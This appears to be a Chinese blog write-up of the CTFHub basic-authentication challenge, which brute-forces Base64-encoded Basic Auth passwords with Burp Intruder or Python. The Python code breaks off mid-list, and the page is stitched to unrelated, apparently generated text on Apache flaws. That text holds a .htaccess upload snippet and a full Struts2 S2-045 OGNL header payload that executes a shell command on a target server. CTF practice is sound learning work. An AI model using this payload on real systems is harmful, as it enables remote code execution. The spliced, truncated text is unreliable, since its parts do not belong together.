CTFHUB-WEB之基础认证

本文介绍了一种CTF挑战中的基础认证破解方法。通过抓包分析及使用Burp Suite工具和Python脚本批量测试Base64编码的密码,最终确定正确的登录凭证。

CTFHUB-WEB之基础认证

开始

打开题目发现需要登陆,没有任何头绪,先抓个包看看。
发现了个小提示 并且现在知道用户名为admin 就差密码了

在这里插入图片描述
下载下来附件打开发现一堆字符串,猜想可能是其中有一个真密码
然后在验证界面随便输入发现验证一行有东西 basic(应该表示基础验证),这后面应该是输入的密码

在这里插入图片描述
目测应该用了什么编码
再多输入几个看看(我输入的ada:123)
在这里插入图片描述
这种格式很有可能是Base64
在这里插入图片描述
这时候面对这么多密码可能,可以用burpsute或者其他脚本
在这里插入图片描述

方法一

抓包时可以在action 里面找到 send to intruder就能自动补充host等信息
在这里插入图片描述
然后在Basic后面加payload
在这里插入图片描述
再添加负载内容
在这里插入图片描述
记得关闭,要不然会将特殊符号编码
在这里插入图片描述

然后加一点规则
在这里插入图片描述
在一堆结果中找到与其他长度不一样的。

方法二

通过python完成编码
然后步骤同上

import base64
list = ['123456','password','line','12345678','qwerty','123456789'
由于没有具体的站内引用内容,以下是关于CTFhub平台Web进阶板块中与Apache相关的常见内容分析: ### 解题方法 - **Apache配置文件漏洞**:在CTF题目中,可能存在Apache配置文件(如`.htaccess`)配置不当的情况。例如,若允许`.htaccess`文件覆盖全局配置,攻击者可通过上传恶意的`.htaccess`文件来执行任意代码。解题时,需要利用文件上传漏洞上传包含恶意配置的`.htaccess`文件,然后再上传可执行的PHP等脚本文件,从而获取服务器权限。 ```python # 示例代码:模拟利用文件上传漏洞上传恶意文件 import requests url = "http://example.com/upload.php" files = {'file': open('malicious.htaccess', 'rb')} response = requests.post(url, files=files) if response.status_code == 200: print(".htaccess文件上传成功") ``` - **Apache解析漏洞**:某些版本的Apache存在解析漏洞,比如在特定配置下,当请求一个不存在的文件时,Apache会尝试从右向左解析文件扩展名。例如,对于文件`test.php.jpg`,若存在解析漏洞,可能会将其当作PHP文件解析。解题时,可上传一个文件名类似`test.php.jpg`的恶意PHP脚本,然后访问该文件,触发解析漏洞执行脚本。 ### 漏洞利用 - **Apache Struts2漏洞**:Struts2是一个常用的Java Web应用框架,若使用Apache服务器部署Struts2应用,且Struts2存在漏洞(如S2-045),攻击者可通过构造恶意请求来执行任意代码。攻击者可构造包含恶意OGNL表达式的请求头,发送给目标服务器,从而实现远程代码执行。 ```python import requests url = "http://example.com/struts2-app.action" headers = {'Content-Type': '%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'} response = requests.get(url, headers=headers) print(response.text) ``` ### 学习资料 - **官方文档**:Apache官方文档是学习Apache的重要资料,它详细介绍了Apache的各种配置选项、模块使用方法等。可以在Apache官方网站(https://httpd.apache.org/docs/)上查看最新版本的文档。 - **安全博客和论坛**:一些安全博客和论坛(如安全客、先知社区等)会分享关于Apache安全漏洞的分析和利用方法,通过阅读这些文章可以深入了解Apache相关的安全知识。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值